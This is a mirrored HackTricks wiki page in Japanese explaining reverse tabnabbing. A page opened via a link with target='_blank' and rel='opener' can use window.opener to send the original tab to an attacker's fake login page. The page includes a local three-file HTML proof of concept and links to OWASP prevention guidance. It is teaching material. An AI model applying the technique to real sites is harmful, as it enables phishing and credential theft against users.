mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
82 lines
4.8 KiB
Markdown
82 lines
4.8 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
# 説明
|
||
|
||
**攻撃者**が**`<a`**タグの**`href`**引数を制御できる状況で、属性**`target="_blank" rel="opener"`**が設定されている場合、**攻撃者**はこの**リンク**を自分の制御下にあるウェブサイト(**悪意のある****ウェブサイト**)に向けることができます。**被害者がリンクをクリック**して攻撃者のウェブサイトにアクセスすると、この**悪意のある****ウェブサイト**は**`window.opener`**というjavascriptオブジェクトを介して**元の****ページ**を**制御**できるようになります。\
|
||
ページに**`rel="opener"`**がないが**`target="_blank"`**が含まれていて、**`rel="noopener"`**がない場合も脆弱性がある可能性があります。
|
||
|
||
この動作を悪用する一般的な方法は、**`window.opener.location = https://attacker.com/victim.html`**を使用して元のウェブの位置を攻撃者が制御するウェブに変更し、**元のウェブサイト**の**ログイン****フォーム**を模倣してユーザーに資格情報を要求することです。
|
||
|
||
ただし、**攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため**、他の方法で**より巧妙な攻撃**を行うことも可能です(例えば、javascriptイベントを変更して彼が制御するサーバーに情報を流出させる?)
|
||
|
||
# 概要
|
||
|
||
## バックリンクあり
|
||
|
||
防止属性が使用されていない場合の親ページと子ページのリンク:
|
||
|
||

|
||
|
||
## バックリンクなし
|
||
|
||
防止属性が使用されている場合の親ページと子ページのリンク:
|
||
|
||

|
||
|
||
## 例 <a href="#examples" id="examples"></a>
|
||
|
||
フォルダ内に次のページを作成し、`python3 -m http.server`でウェブサーバーを実行します。\
|
||
次に、**アクセス** `http://127.0.0.1:8000/`vulnerable.html、**クリック**してリンクをクリックし、**元の****ウェブサイト**の**URL**が**変更**される様子を確認してください。
|
||
```html:vulnerable.html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>Victim Site</h1>
|
||
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
```html:malicious.html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<script>
|
||
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
```html:malicious_redir.html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>New Malicious Site</h1>
|
||
</body>
|
||
</html>
|
||
```
|
||
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
|
||
|
||
**クロスオリジン** アクセスが発生するシナリオでは、**opener** JavaScript オブジェクト参照によって参照される **window** JavaScript クラスインスタンスのプロパティは、悪意のあるサイトによってアクセスできるのは以下のものに制限されます:
|
||
|
||
- **`opener.closed`**: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
|
||
- **`opener.frames`**: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。
|
||
- **`opener.length`**: 現在のウィンドウに存在する iframe 要素の数がこのプロパティによって返されます。
|
||
- **`opener.opener`**: このプロパティを通じて、現在のウィンドウを開いたウィンドウへの参照を取得できます。
|
||
- **`opener.parent`**: このプロパティは現在のウィンドウの親ウィンドウを返します。
|
||
- **`opener.self`**: このプロパティは現在のウィンドウ自体へのアクセスを提供します。
|
||
- **`opener.top`**: このプロパティは最上位のブラウザウィンドウを返します。
|
||
|
||
ただし、ドメインが同一の場合、悪意のあるサイトは [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。
|
||
|
||
# Prevention
|
||
|
||
予防情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) に文書化されています。
|
||
|
||
## References
|
||
|
||
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|